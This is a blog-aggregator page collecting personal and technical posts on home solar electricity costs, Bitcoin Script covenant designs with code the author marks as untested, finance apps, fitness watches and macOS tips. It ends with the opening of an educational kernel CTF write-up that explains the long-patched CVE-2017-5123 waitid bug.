    Having calculated the effective cost/kWh for grid power, I’m now going to do one more thing which I didn’t think to do during last year’s analysis, and that’s calculate the effective cost/kWh of running our loads, bearing in mind that they’re partially powered from the grid, and partially from the sun. I’ve managed to dig up some old Aurora bills from 2016-2017, back before we put the solar panels on. This should make for an interesting comparison.

    YearFrom GridTotal BillGrid $/kWhLoadsLoads $/kWh
    2016-201717,026$4,485.45$0.2617,026$0.26
    2018-20199,031$2,278.33$0.2511,827$0.19
    2019-20209,324$2,384.79$0.2612,255$0.19
    2020-20217,582$1,921.77$0.2510,358$0.19
    2021-20228,531$1,731.40$0.2010,849$0.16
    2022-20238,936$1,989.12$0.2211,534$0.17

    The first thing to note is the horrifying 17 megawatts we pulled in 2016-2017. Given the hot water and lounge room heat pump were on a separate tariff, I was able to determine that four of those megawatts (i.e. about 24% of our power usage) went on heating that year. Replacing the crusty old conventional electric hot water system with a Sanden heat pump hot water service cut that in half – subsequent years showed the heating/hot water tariff using about 2MW/year. We obviously also somehow reduced our loads by another ~3MW/year on top of that, but I can’t find the Aurora bills for 2017-2018 so I’m not sure exactly when that drop happened. My best guess is that I probably got rid of some old, always-on computer equipment.

    The second thing to note is how the cost of running the loads drops. In 2016-2017 the grid cost/kWh is the same as the loads cost/kWh, because grid power is all we had. From 2018-2021 though, the load cost/kWh drops to $0.19, a saving of about 26%. It remains there until 2021-2022 when we got the battery and it dropped again to $0.16 (another 15% or so). So the big win was certainly putting the solar panels on and swapping the hot water system, with the battery being a decent improvement on top of that.

    Further wins are going to come from decreasing our power consumption. In previous posts I had mentioned the need to replace panel heaters with heat pumps, and also that some of our aging computer equipment needed upgrading. We did finally get a heat pump installed in the master bedroom this year, and we replaced the old undersized lounge room heat pump with a new correctly sized unit. This happened on June 30 though, so will have had minimal impact on this years’ figures. Likewise an always-on computer that previously pulled ~100W is now better, stronger and faster in all respects, while only pulling ~50W. That will save us ~438kW of power per year, but given the upgrade happened in mid August, again we won’t see the full effects until later.

    I’m looking forward to doing another one of these posts in a year’s time. Hopefully I will have nothing at all interesting to report.

    Saturday, 21 October 2023

    Rusty RussellCovenants: Dealing with Amounts in Bitcoin Script

    Covenants are a construction to allow introspection: a transaction output can place conditions on the transaction which spends it (beyond the specific “must provide a valid signature of itself and a particular pubkey”).

    I previously looked at Examining ScriptPubkeys, but another useful thing covenants want to enforce is amounts. This is easy for equality, but consider the case where you are allowed to merge inputs: perhaps the first output amount must be the sum of the first and second inputs.

    The problem is that Bitcoin Script deals in signed ones-complement values, and 31 bits limits us to 21.47483648 bitcoin. However, using OP_MULTISHA256 or OP_CAT, it’s possible to deal with full amounts. I’ve written some (untested!) script code below.

    The Vexing Problem of Amounts

    Using OP_TXHASH, we can get SHA256(input amount) and SHA256(output amount) on the stack. Since this involves hashing, we can’t evaluate the number for anything but equality, so as in other cases where we don’t have Fully Complete Covenants we need to have the user supply the actual values on the witness stack, and we test those for the conditions we want, and then make sure they match what OP_TXHASH says is in the transaction. I usually object to this backwards form (just give me the value on the stack!), but as you’ll see, we couldn’t natively use 64 bit values from OP_TX anyway (I had proposed pushing two values, which is its own kind of ugly).

    A Value Form Bitcoin Script Can Deal With

    21M BTC is just under 2^51 satoshis.

    We split these bits into a pair of stack values:

    • lower 24 bits
    • upper bits (27, but we allow up to 31)

    I call this tuple “Script-friendly pair” (SFP) form. Note that all script numbers on stack are represented in little-endian, with a sign bit (0x80 on the last byte). This is a nasty format to work with, unfortunately.

    Converting A Script-Friendly Pair to an 8-byte Little-Endian Value

    Here’s the code to takes a positive CScriptNum, and produces two stack values which can be concatenated to make a 4 byte unsigned value:

    # !UNTESTED CODE!
    # Stack (top to bottom): lower, upper
    OP_SWAP
    
    # Generate required prefix to append to stack value to make it 4 bytes long.
    OP_SIZE
    OP_DUP
    OP_NOTIF
    	# 0 -> 00000000
    	OP_DROP
    	4 OP_PUSHDATA1 0x00 0x00 0x00 0x00
    OP_ELSE
    	OP_DUP
    	1 OP_EQUAL OP_IF
    		# Single byte: prepend 0x00 0x00 0x00
    		OP_DROP
    		3 OP_PUSHDATA1 0x00 0x00 0x00
    	OP_ELSE
    		OP_DUP
    		2 OP_EQUAL OP_IF
    		# Two bytes: prepend 0x00 0x00
    		2 OP_PUSHDATA1 0x00 0x00
    		OP_ELSE
    			3 OP_EQUAL OP_IF
    				# Three bytes: prepend 0x00
    				1 OP_PUSHDATA1 0x00
    			OP_ELSE
    				# Prepend nothing.
    				0
    			OP_ENDIF
    		OP_ENDIF
    	OP_ENDIF
    OP_ENDIF
    OP_SWAP
    
    # Stack (top to bottom): upper, pad, lower
    

    That 46 bytes handles upper. Now lower is a CScriptNum between 0 and 16777215, and we want to produce two stack values which can be concatenated to make an 3 byte unsigned value. Here we have to remove the zero-padding in the four-byte case:

    # !UNTESTED CODE!
    # Stack (top to bottom): upper, pad, lower
    OP_ROT
    
    # Generate required prefix to append to stack value to make it 3 bytes long.
    OP_SIZE
    OP_DUP
    OP_NOTIF
    	# 0 -> 000000
    	OP_DROP
    	3 OP_PUSHDATA1 0x00 0x00 0x00
    OP_ELSE
    	OP_DUP
    	1 OP_EQUAL OP_IF
    		# Single byte: prepend 0x00 0x00
    		OP_DROP
    		2 OP_PUSHDATA1 0x00 0x00
    	OP_ELSE
    		OP_DUP
    		2 OP_EQUAL OP_IF
    		# Two bytes.  Now maybe final byte is 0x00 simply so it doesn't
    		# appear negative, but we don't care.
    		1 OP_PUSHDATA1 0x00
    		OP_ELSE
    			# Three bytes: empty append below
    			3 OP_EQUAL OP_NOTIF
    				# Four bytes, e.g. 0xff 0xff 0xff 0x00 
    				# Convert to three byte version: negate and add 2^23
    				# => 0xff 0xff 0xff 
    				OP_NEG
    				4 OP_PUSHDATA1 0x00 0x00 0x80 0x00 
    				OP_ADD
    			OP_ENDIF
    			# Prepend nothing.
    			0
    		OP_ENDIF
    	OP_ENDIF
    OP_ENDIF
    
    OP_SWAP
    # Stack (top to bottom): lower, pad, upper, pad
    

    You can optimize these 47 bytes a little, but I’ll leave that as an exercise for the reader!

    Now we use OP_MULTISHA256 (or OP_CAT 3 times and OP_SHA256) to concatentate them to form an 8-byte little-endian number, for comparison against the format used by OP_TXHASH.

    Basically, 95 bytes to compare our tuple to a hashed value.

    Adding Two Script-Friendly Pairs

    Let’s write some code to add two well-formed Script-Friendly Pairs!

    # !UNTESTED CODE!
    # Stack (top to bottom): a_lower, a_upper, b_lower, b_upper
    OP_ROT
    
    OP_ADD
    OP_DUP
    4 OP_PUSHDATA1 0x00 0x00 0x00 0x01
    OP_GREATERTHANOREQUAL
    OP_IF
    	# lower overflow, bump upper.
    	# FIXME: We can OP_TUCK this constant above!
    	4 OP_PUSHDATA1 0x00 0x00 0x00 0x01
    	OP_SUB
    	OP_SWAP
    	OP_1ADD
    OP_ELSE
    	OP_SWAP
    OP_ENDIF
    
    # Stack now: a_upper(w/carry), lower_sum, b_upper.
    OP_ROT
    OP_ADD
    OP_SWAP
    # Stack now: lower_sum, upper_sum
    

    Note that these 26 bytes don’t check that upper doesn’t overflow: if we’re dealing with verified amounts, we can add 16 times before it’s even possible (and it’s never possible with distinct amounts of course). Still, we can add OP_DUP 0 OP_GREATERTHANOREQUAL OP_VERIFY before the final OP_SWAP.

    Checking Script-Friendly Pairs

    The code above assumes well-formed pairs, but since the pairs will come from the witness stack, we need to have a routine to check that a pair is wel-formed:

    # !UNTESTED CODE!
    # Stack: lower, upper
    OP_DUP
    # lower must be 0 - 0xFFFFFF inclusive
    0
    4 OP_PUSHDATA1 0xFF 0xFF 0xFF 0x00
    OP_WITHIN
    OP_VERIFY
    
    OP_OVER
    # upper must be 0 - 0x7FFFFFF inclusive
    0
    4 OP_PUSHDATA1 0xFF 0xFF 0xFF 0x07
    OP_WITHIN
    OP_VERIFY
    

    This ensures the ranges are all within spec: no negative numbers, no giant numbers.

    Summary

    While this shows that OP_CAT/OP_MULTISHA256 is sufficient to deal with bitcoin amounts in Script, the size (about 250 bytes to validate that two inputs equals one output) makes a fairly compelling case for optimization.

    It’s worth noting that this is why Liquid chose to add the following 64-bit opcodes to bitscoin script: OP_ADD64, OP_SUB64, OP_MUL64, OP_DIV64, OP_NEG64, OP_LESSTHAN64, OP_LESSTHANOREQUAL64, OP_GREATERTHAN64, OP_GREATERTHANOREQUAL64.

    (They also reenabled the bitwise opcodes (OP_XOR etc) to work just fine with these. They also implemented OP_SCRIPTNUMTOLE64, OP_LE64TOSCRIPTNUM and OP_LE32TOLE64 for conversion.)

    In my previous post I proposed OP_LESS which works on arbitrary values, which doen’t work for these because the endian is wrong! As a minimum, we’d need to add OP_LESSTHAN64, OP_ADD64 and OP_NEG64 to allow 64-bit comparison, addition and subtraction.

    But, with only OP_CAT or OP_MULTISHA256, it’s possible to deal with amounts. It’s just not pretty!

    Thanks for reading!

    Thursday, 19 October 2023

    Rusty RussellCovenants: Examining ScriptPubkeys in Bitcoin Script

    Covenants are a construction to allow introspection: a transaction output can place conditions on the transaction which spends it (beyond the specific “must provide a valid signature of itself and a particular pubkey”).

    My preferred way of doing instrospection is for Bitcoin Script have a way of asking for various parts of the transaction onto the stack (aka OP_TX) for direct testing (Fully Complete Covenants, as opposed to using some tx hash, forcing the Script to produce a matching hash to pass (Equality Covenants). In the former case, you do something like:

    # Is the nLocktime > 100?
    OP_TX_BIT_NLOCKTIME OP_TX 100 OP_GREATERTHAN OP_VERIFY
    

    In the latter you do something like:

    # They provide nLocktime on the stack.
    OP_DUP
    # First check it's > 100
    100 OP_GREATERTHAN OP_VERIFY
    # Now check it's actually the right value, by comparing its hash the hash of nLocktime
    OP_SHA256
    OP_TX_BIT_NLOCKTIME OP_TXHASH OP_EQUALVERIFY
    

    However, when we come to examining an output’s ScriptPubkey, we’re forced into the latter mode unless we’re seeking an exact match: the ScriptPubkey is (almost always) a one-way function of the actual spending conditions.

    Making a Simple Taproot, in Script

    Let’s take a simple taproot case. You want to assert that the scriptPubkey pays to a known key K, or a script given by the covenent spender. This is the simplest interesting form of Taproot, with a single script path.

    The steps to make this into a ScriptPubkey (following BIP 341) are:

    1. Get a tagged tapleaf hash of the script
    2. Tweak the key K by this value.
    3. Prepend two bytes “0x51 0x20”.
    4. Compare with the ScriptPubkey of this tx.

    Step 1: We need OP_CAT, or OP_MULTISHA256

    If we spell out the things we need to hash, it looks like:

    SHA256(SHA256("TapLeaf") + SHA256("TapLeaf") + 0xC0 + CSCRIPTNUM(LEN(script)) + script)
    

    CSCRIPTNUM(X) is (if X is in canonical form, as it will be from OP_SIZE):

    • if X is less than 253:
      • X
    • otherwise, if the length is less than 256:
      • 0xFD 0x00 X
    • otherwise, if the length is less than 65536:
      • 0xFD X
    • otherwise, we don’t care, make shorter scripts!

    The obvious way to do this is to enable OP_CAT, but this was removed because it allows construction of giant stack variables. If that is an issue, we can instead use a “concatenate-and-hash” function OP_MULTISHA256, which turns out to be easiest to use if it hashes the stack from top to bottom.

    OP_MULTISHA256 definition:

    1. If the stack is empty, fail.
    2. Pop N off the stack.
    3. If N is not a CScriptNum, fail.
    4. If there are fewer than N entries on the stack, fail.
    5. Initialize a SHA256 context.
    6. while N > 0:
      1. Pop the top entry off the stack.
      2. Hash it into the SHA256 context
      3. Decrement N
    7. Finish the SHA256 context, and push the resulting 32 bytes onto the stack.

    The result is either:

    # Script is on stack, produce tagged tapleaf hash
    
    # First, encode length
    OP_SIZE
    OP_DUP
    # < 253?
    OP_PUSHDATA1 1 253 OP_LESSTHAN 
    OP_IF
    	# Empty byte on stack:
    	0
    OP_ELSE
    	OP_DUP
    	# > 255?
    	OP_PUSHDATA1 1 0xFF OP_GREATERTHAN 
    	OP_IF
    		OP_PUSHDATA1 1 0xFD
    	OP_ELSE
    		# Needs padding byte
    		OP_PUSHDATA1 2 0xFD 0x00
    	OP_ENDIF
    OP_ENDIF
    
    # Push 0xC0 leaf_version on stack
    OP_PUSHDATA1 1 0xC0
    
    # Push hashed tag on stack, twice.
    OP_PUSHDATA1 7 "TapLeaf"
    OP_SHA256
    OP_DUP
    
    # Now, hash them together
    6 OP_MULTISHA256
    

    Or, using OP_CAT (assuming it also concatenates the top of stack to second on stack):

    # Script is on stack, produce tagged tapleaf hash
    
    # First, encode length
    OP_SIZE
    OP_DUP
    # < 253?
    OP_PUSHDATA1 1 253 OP_LESSTHAN 
    OP_NOTIF
    	OP_DUP
    	# > 255?
    	OP_PUSHDATA1 1 0xFF OP_GREATERTHAN 
    	OP_IF
    		OP_PUSHDATA1 1 0xFD
    	OP_ELSE
    		# Needs padding byte
    		OP_PUSHDATA1 2 0xFD 0x00
    	OP_ENDIF
    	OP_CAT
    OP_ENDIF
    # Prepend length to script
    OP_CAT
    
    # Prepend 0xC0 leaf_version
    OP_PUSHDATA1 1 0xC0
    OP_CAT
    
    # Push hashed tag on stack, twice, and prepend
    OP_PUSHDATA1 7 "TapLeaf"
    OP_SHA256
    OP_DUP
    OP_CAT
    OP_CAT
    
    # Hash the lot.
    OP_SHA256
    

    Step 2: We need to Tweak a Key, OP_KEYADDTWEAK

    Now, we need to tweak a public key, as detailed in BIP 341:

    def taproot_tweak_pubkey(pubkey, h):
        t = int_from_bytes(tagged_hash("TapTweak", pubkey + h))
        if t >= SECP256K1_ORDER:
            raise ValueError
        P = lift_x(int_from_bytes(pubkey))
        if P is None:
            raise ValueError
        Q = point_add(P, point_mul(G, t))
        return 0 if has_even_y(Q) else 1, bytes_from_int(x(Q))
    

    Let’s assume OP_KEYADDTWEAK works like so:

    1. If there are less than two items on the stack, fail.
    2. Pop the tweak t off the stack. If t >= SECP256K1_ORDER, fail.
    3. Pop the key P off the stack. If it is not a valid compressed pubkey, fail. Convert to Even-Y if necessary. (i.e. lift_x()).
    4. Q = P + t*G.
    5. Push the X coordinate of Q on the stack.

    So now we just need to create the tagged hash, and feed it to OP_KEYADDTWEAK:

    # Key, tapscript hash are on stack.
    
    OP_OVER
    OP_PUSHDATA1 8 "TapTweak"
    OP_SHA256
    OP_DUP
    
    # Stack is now: key, tapscript, key, H(TapTweak), H(TapTweak)
    4 OP_MULTISHA256
    OP_KEYADDTWEAK
    

    Or with OP_CAT instead of OP_MULTISHA256:

    # Key, tapscript hash are on stack.
    
    OP_OVER
    OP_PUSHDATA1 8 "TapTweak"
    OP_SHA256
    OP_DUP
    
    # Stack is now: key, tapscript, key, H(TapTweak), H(TapTweak)
    OP_CAT
    OP_CAT
    OP_CAT
    OP_SHA256
    OP_KEYADDTWEAK
    

    Step 3: We Need To Prepend The Taproot Bytes

    This is easy with OP_CAT:

    # ScriptPubkey, Taproot key is on stack.
    
    # Prepend "OP_1 32" to make Taproot v1 ScriptPubkey
    OP_PUSHDATA1 2 0x51 0x20
    OP_CAT
    OP_EQUALVERIFY
    

    With OP_MULTISHA256 we need to hash the ScriptPubkey to compare it (or, if we only have OP_TXHASH, it’s already hashed):

    # ScriptPubkey, Taproot key is on stack.
    
    OP_SHA256
    # Prepend "OP_1 32" to make Taproot v1 ScriptPubkey
    OP_PUSHDATA1 2 0x51 0x20
    2 OP_MULTISHA256
    
    # SHA256(ScriptPubkey) == SHA256(0x51 0x20 taproot)
    OP_EQUALVERIFY
    

    Making a More Complete Taproot, in Script

    That covers the “one key, one script” case.

    If we have more than one taproot leaf, we need to perform the merkle on them, rather than simply use the taproot leaf directly. Let’s assume for simplicity that we have two scripts:

    1. Produce the tagged leaf hash for scripts, call them H1 and H2.
    2. If H1 < H2, merkle is TaggedHash("TapBranch", H1 + H2), otherwise TaggedHash("TapBranch", H2 + H1)

    Step 1: Tagged Hash

    We’ve done this before, it’s just Step 1 as before.

    Step 2: Compare and Hash: We Need OP_LESS or OP_CONDSWAP

    Unfortunately, all the arithmetic functions except OP_EQUAL only take CScriptNums, so we need a new opcode to compare 32-byte blobs. Minimally, this would be OP_LESS, though OP_CONDSWAP (put lesser one on top of stack) is possible too. In our case we don’t care what happens in unequal lengths, but if we assume big-endian values are most likely, we could zero-prepend to the shorter value before comparing.

    The result looks like this:

    # Hash1, Hash2 are on the stack.
    
    # Put lesser hash top of stack if not already
    OP_LESS
    OP_NOTIF OP_SWAP OP_ENDIF
    
    OP_PUSHDATA1 9 "TapBranch"
    OP_SHA256
    OP_DUP
    
    4 OP_MULTISHA256
    

    Or, using OP_CAT and OP_CONDSWAP:

    # Hash1, Hash2 are on the stack.
    
    # Put lesser hash top of stack if not already
    OP_CONDSWAP
    
    OP_PUSHDATA1 9 "TapBranch"
    OP_SHA256
    OP_DUP
    
    OP_CAT
    OP_CAT
    OP_CAT
    OP_SHA256
    

    So now we can make arbitrarily complex merkle trees from parts, in Script!

    Making More Useful Templates: Reducing the Power of OP_SUCCESS

    Allowing the covenant spender to specify a script branch of their own is OK if we simply want a condition which is “… OR anything you want”. But that’s not generally useful: consider vaults, where you want to enforce a delay, after which they can spend. In this case, we want “… AND anything you want”.

    We can, of course, insist that the script they provide starts with 1000 OP_CHECKSEQUENCEVERIFY. But because any unknown opcode causes immediate script success (without actually executing anything), they can override this test by simply inserting an invalid opcode in the remainder of the script!

    There are two ways I can see to resolve this: one is delegation, where the remainder of the script is popped off the stack (OP_POPSCRIPT?). You would simply insist that the script they provide be exactly 1000 OP_CHECKSEQUENCEVERIFY OP_POPSCRIPT.

    The other way is to weaken OP_SUCCESSx opcodes. This must be done carefully! In particular, we can use a separator, such as OP_SEPARATOR, and change the semantics of OP_SUCCESSx:

    • If there is an OP_SEPARATOR before OP_SUCCESSx:
      • Consider the part before the OP_SEPARATOR:
        • if (number of OP_IF) + (number of OP_NOTIF) > (number of OP_ENDIF): fail
        • Otherwise execute it as normal: if it fails, fail.
    • Succeed the script

    This insulates a prefix from OP_SUCCESSx, but care has to be taken that it is a complete script fragment: a future OP_SUCCESSx definition must not turn an invalid script into a valid one (by revealing an OP_ENDIF which would make the script valid).

    Summary

    I’ve tried to look at what it would take to make generic convenants in Script: ones which can meaningfully interrogate spending conditions assuming some way (e.g. OP_TXHASH) of accessing an output’s script. There are reasons to believe this is desirable (beyond a completeness argument): vaulting in particular requires this.

    We need three new Script opcodes: I’ve proposed OP_MULTISHA256, OP_KEYADDTWEAK and OP_LESS, and a (soft-fork) revision to treatment of OP_SUCCESSx. None of these are grossly complex.

    The resulting scripts are quite long (and mine are untested and no doubt buggy!). It’s 41 bytes to hash a tapleaf, 19 to combine two tapleaves, 8 to compare the result to the scriptpubkey. That’s at least 109 witness weight to do a vault, and in addition you need to feed it the script you’re using for the output. That seems expensive, but not unreasonable: if this were to become common then new opcodes could combine several of these steps.

    I haven’t thought hard about the general applicability of these opcodes, so there may be variants which are better when other uses are taken into account.

    Thanks for reading!

    Friday, 8 September 2023

    Stewart SmithPersonal Finance Apps

    I (relatively) recently went down the rabbit hole of trying out personal finance apps to help get a better grip on, well, the things you’d expect (personal finances and planning around them).

    In the past, I’ve had an off-again-on-again relationship with GNUCash. I did give it a solid go for a few months in 2004/2005 it seems (I found my old files) and I even had the OFX exports of transactions for a limited amount of time for a limited number of bank accounts! Amazingly, there’s a GNUCash port to macOS, and it’ll happily open up this file from what is alarmingly close to 20 years ago.

    Back in those times, running Linux on the desktop was even more of an adventure than it has been since then, and I always found GNUCash to be strange (possibly a theme with me and personal finance software), but generally fine. It doesn’t seem to have changed a great deal in the years since. You still have to manually import data from your bank unless you happen to be lucky enough to live in the very limited number of places where there’s some kind of automation for it.

    So, going back to GNUCash was an option. But I wanted to survey the land of what was available, and if it was possible to exchange money for convenience. I am not big on the motivation to go and spend a lot of time on this kind of thing anyway, so it had to be easy for me to do so.

    For my requirements, I basically had:

    • Support multiple currencies
    • Be able to import data from my banks, even if manually
    • Some kind of reporting and planning tools
    • Be easy enough to use for me, and not leave me struggling with unknown concepts
    • The ability to export data. No vendor lock-in

    I viewed a mobile app (iOS) as a Nice to Have rather than essential. Given that, my shortlist was:

    GNUCash

    I’ve used it before, its web site at https://www.gnucash.org/ looks much the same as it always has. It’s Free and Open Source Software, and is thus well aligned with my values, and that’s a big step towards not having vendor lock-in.

    I honestly could probably make it work. I wish it had the ability to import transactions from banks for anywhere I have ever lived or banked with. I also wish the UI got to be a bit more consistent and modern, and even remotely Mac like on the Mac version.

    Honestly, if the deal was that a web service would pull bank transactions in exchange for ~$10/month and also fund GNUCash development… I’d struggle to say no.

    Quicken

    Here’s an option that has been around forever – https://www.quicken.com/ – and one that I figured I should solidly look at. It’s actually one I even spent money on…. before requesting a refund. It’s Import/Export is so broken it’s an insult to broken software everywhere.

    Did you know that Quicken doesn’t import the Quicken Interchange Format (QIF), and hasn’t since 2005?

    Me, incredulously, when trying out quicken

    I don’t understand why you wouldn’t support as many as possible formats that banks export your transaction data as. It cannot possibly be that hard to parse these things, nor can it possibly be code that requires a lot of maintenance.

    This basically meant that I couldn’t import data from my Australian Banks. Urgh. This alone ruled it out.

    It really didn’t build confidence in ever getting my data out. At every turn it seemed to be really keen on locking you into Quicken rather than having a good experience all-up.

    Moneywiz

    This one was new to me – https://www.wiz.money/ – and had a fancy URL and everything. I spent a bunch of time trying MoneyWiz, and I concluded that it is pretty, but buggy. I had managed to create a report where it said I’d earned $0, but you click into it, and then it gives actual numbers. Not being self consistent and getting the numbers wrong, when this is literally the only function of said app (to get the numbers right), took this out of the running.

    It did sync from my US and Australian banks though, so points there.

    Intuit Mint

    Intuit used to own Quicken until it sold it to H.I.G. Capital in 2016 (according to Wikipedia). I have no idea if that has had an impact as to the feature set / usability of Quicken, but they now have this Cloud-only product called Mint.

    The big issue I had with Mint was that there didn’t seem to be any way to get your data out of it. It seemed to exemplify vendor lock-in. This seems to have changed a bit since I was originally looking, which is good (maybe I just couldn’t find it?). But with the cloud-only approach I wasn’t hugely comfortable with having everything there. It also seemed to be lacking a few features that I was begging to find useful in other places.

    It is the only product that links with the Apple Card though. No idea why that is the case.

    The price tag of $0 was pretty unbeatable, which does make me wonder where the money is made from to fund its development and maintenance. My guess is that it’s through commission on the various financial products advertised through it, and I dearly hope it is not through selling data on its users (I have no reason to believe it is, there’s just the popular habit of companies doing this).

    Banktivity

    This is what I’ve settled on. It seemed to be easy enough for me to figure out how to use, sync with an iPhone App, be a reasonable price, and be able to import and sync things from accounts that I have. Oddly enough, nothing can connect and pull things from the Apple Card – which is really weird. That isn’t a Banktivity thing though, that’s just universal (except for Intuit’s Mint).

    I’ve been using it for a bit more than a year now, and am still pretty happy. I wish there was the ability to attach a PDF of a statement to the Statement that you reconcile. I wish I could better tune the auto match/classification rules, and a few other relatively minor things.

    Sunday, 3 September 2023

    Stewart SmithFitness watches and my descent into madness

    Periodically in life I’ve had the desire to be somewhat fit, or at least have the benefits that come with that such as not dying early and being able to navigate a mountain (or just the city of Seattle) on foot without collapsing. I have also found that holding myself accountable via data is pretty vital to me actually going and repeatedly doing something.

    So, at some point I got myself a Garmin watch. The year was 2012 and it was a Garmin Forerunner 410. It had a standard black/grey LCD screen, GPS (where getting a GPS lock could be utterly infuriatingly slow), a sensor you attached to your foot, a sensor you strap to your chest for Heart Rate monitoring, and an ANT+ dongle for connecting to a PC to download your activities. There was even some open source software that someone wrote so I could actually get data off my watch on my Linux laptops. This wasn’t a smart watch – it was exclusively for wearing while exercising and tracking an activity, otherwise it was just a watch.

    However, as I was ramping up to marathon distance running, one huge flaw emerged: I was not fast enough to run a marathon in the time that the battery in my Garmin lasted. IIRC it would end up dying around 3hr30min into something, which at the time was increasingly something I’d describe as “not going for too long of a run”. So, the search for a replacement began!

    The year was 2017, and the Garmin fenix 5x attracted me for two big reasons: a battery life to be respected, and turn-by-turn navigation. At the time, I seldom went running with a phone, preferring a tiny SanDisk media play (RIP, they made a new version that completely sucked) and a watch. The attraction of being able to get better maps back to where I started (e.g. a hotel in some strange city where I didn’t speak the language) was very appealing. It also had (what I would now describe as) rudimentary smart-watch features. It didn’t have even remotely everything the Pebble had, but it was enough.

    So, a (non-trivial) pile of money later (even with discounts), I had myself a shiny and virtually indestructible new Garmin. I didn’t even need a dongle to sync it anywhere – it could just upload via its own WiFi connection, or through Bluetooth to the Garmin Connect app to my phone. I could also (if I ever remembered to), plug in the USB cable to it and download the activities to my computer.

    One problem: my skin rebelled against the Garmin fenix 5x after a while. Like, properly rebelled. If it wasn’t coming off, I wanted to rip it off. I tried all of the tricks that are posted anywhere online. Didn’t help. I even got tested for what was the most likely culprit (a Nickel allergy), and didn’t have one of them, so I (still) have no idea what I’m actually allergic to in it. It’s just that I cannot wear it constantly. Urgh. I was enjoying the daily smart watch uses too!

    So, that’s one rather expensive watch that is special purpose only, and even then started to get to be a bit of an issue around longer activities. Urgh.

    So the hunt began for a smart watch that I could wear constantly. This usually ends in frustration as anything I wanted was hundreds of $ and pretty much nobody listed what materials were in it apart from “stainless steel”, “may contain”, and some disclaimer about “other materials”, which wasn’t a particularly useful starting point for “it is one of these things that my skin doesn’t like”. As at least if the next one also turned out to cause me problems, I could at least have a list of things that I could then narrow down to what I needed to avoid.

    So that was all annoying, with the end result being that I went a long time without really wearing a watch. Why? The search resumed periodically and ended up either with nothing, or totally nothing. That was except if I wanted to get further into some vendor lock-in.

    Honestly, the only manufacturer of anything smartwatch like which actually listed everything and had some options was Apple. Bizarre. Well, since I already got on the iPhone bandwagon, this was possible. Rather annoyingly, they are very tied together and thus it makes it a bit of a vendor-lock-in if you alternate phone and watch replacement and at any point wish to switch platforms.

    That being said though, it does work well and not irritate my skin. So that’s a bonus! If I get back into marathon level distance running, we’ll see how well it goes. But for more common distances that I’ve run or cycled with it… the accuracy seems decent, HR monitor never just sometimes decides I’m not exerting myself, and the GPS actually gets a lock in reasonable time. Plus it can pair with headphones and be the only thing I take out with me.

    Sunday, 27 August 2023

    Stewart SmithRandom useful macOS things for Linux developers

    A few random notes about things that can make life on macOS (the modern one, as in, circa 2023) better for those coming from Linux.

    For various reasons you may end up with Mac hardware with macOS on the metal rather than Linux. This could be anything from battery life of the Apple Silicon machines (and not quite being ready to jump on the Asahi Linux bandwagon), to being able to run the corporate suite of Enterprise Software (arguably a bug more than a feature), to some other reason that is also fine.

    My approach to most of my development is to have a remote more powerful Linux machine to do the heavy lifting, or do Linux development on Linux, and not bank on messing around with a bunch of software on macOS that would approximate something on Linux. This also means I can move my GUI environment (the Mac) easily forward without worrying about whatever weird workarounds I needed to do in order to get things going for whatever development work I’m doing, and vice-versa.

    Terminal emulator? iTerm2. The built in Terminal.app is fine, but there’s more than a few nice things in iTerm2, including tmux integration which can end up making it feel a lot more like a regular Linux machine. I should probably go read the tmux integration best practices before I complain about some random bugs I think I’ve hit, so let’s pretend I did that and everything is perfect.

    I tend to use the Mac for SSHing to bigger Linux machines for most of my work. At work, that’s mostly to a Graviton 2 EC2 Instance running Amazon Linux with all my development environments on it. At home, it’s mostly a Raptor Blackbird POWER9 system running Fedora.

    Running Linux locally? For all the use cases of containers, Podman Desktop or finch. There’s a GUI part of Podman which is nice, and finch I know about because of the relatively nearby team that works on it, and its relationship to lima. Lima positions itself as WSL2-like but for Mac. There’s UTM for a full virtual machine / qemu environment, although I rarely end up using this and am more commonly using a container or just SSHing to a bigger Linux box.

    There’s XCode for any macOS development that may be needed (e.g. when you want that extra feature in UTM or something) I do use Homebrew to install a few things locally.

    Have a read of Andrew‘s blog post on OpenBMC Development on an Apple M1 MacBook Pro too.

    Tuesday, 8 August 2023

    sthbrx - a POWER technical blogBeginner's first kernel CTF with CVE-2017-5123

    The other kind of kernel hacking

    Instead of writing mitigations, memory protections and sanitisers all day, I figured it'd be fun to get the team to try playing for the other team. It's a fun set of skills to learn, and it's a very hands-on way to understand why kernel hardening is so important. To that end, I decided to concoct a simple kernel CTF and enforce some mandatory fun. Putting this together, I had a few rules:

    • it should be exploiting a real world vulnerability
    • it should be on Power (since that's what we do around here)
    • it should be conceptually simple to understand (and not require knowledge of network stacks or sandboxes etc)
    • it's more important to be educational than to be realistic

    So I threw something together and I think it did a decent job of meeting those targets, so let's go through it!

    Stage 1: the bug

    SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
            infop, int, options, struct rusage __user *, ru)
    {
        struct rusage r;
        struct waitid_info info = {.status = 0};
        long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
        int signo = 0;
        if (err > 0) {
            signo = SIGCHLD;
            err = 0;
        }
    
        if (!err) {
            if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
                return -EFAULT;
        }
        if (!infop)
            return err;
    
        user_access_begin();
        unsafe_put_user(signo, &infop->si_signo, Efault);
        unsafe_put_user(0, &infop->si_errno, Efault);
        unsafe_put_user((short)info.cause, &infop->si_code, Efault);
        unsafe_put_user(info.pid, &infop->si_pid, Efault);
        unsafe_put_user(info.uid, &infop->si_uid, Efault);
        unsafe_put_user(info.status, &infop->si_status, Efault);
        user_access_end();
        return err;
    Efault:
        user_access_end();
        return -EFAULT;
    }
    

    This is the implementation of the waitid syscall in Linux v4.13, released in September 2017. For our purposes it doesn't matter what the syscall is supposed to do - there's a serious bug here that will let us do very naughty things. Try and spot it yourself, though it may not be obvious unless you're familiar with the kernel's user access routines.

    #define put_user(x, ptr)                        \
    ({                                  \
        __typeof__(*(ptr)) __user *_pu_addr = (ptr);            \
                                        \
        access_ok(_pu_addr, sizeof(*(ptr))) ?               \
              __put_user(x, _pu_addr) : -EFAULT;            \
    })
    

    This is put_user() from arch/powerpc/include/asm/uaccess.h. The implementation goes deeper, but this tells us that the normal way the kernel would write to user memory involves calling access_ok() and only performing the write if the access was indeed OK (meaning the address is in user memory, not kernel memory). As the name may suggest, unsafe_put_user() skips that part, and for good reason - sometimes you want to do multiple user accesses at once. With SMAP/PAN/KUAP etc enabled, every put_user() will enable user access, perform its operation then disable it again, which is very inefficient. Instead, patterns like in waitid above are rather common - enable user access, perform a bunch of "unsafe" operations and then disable user access again.

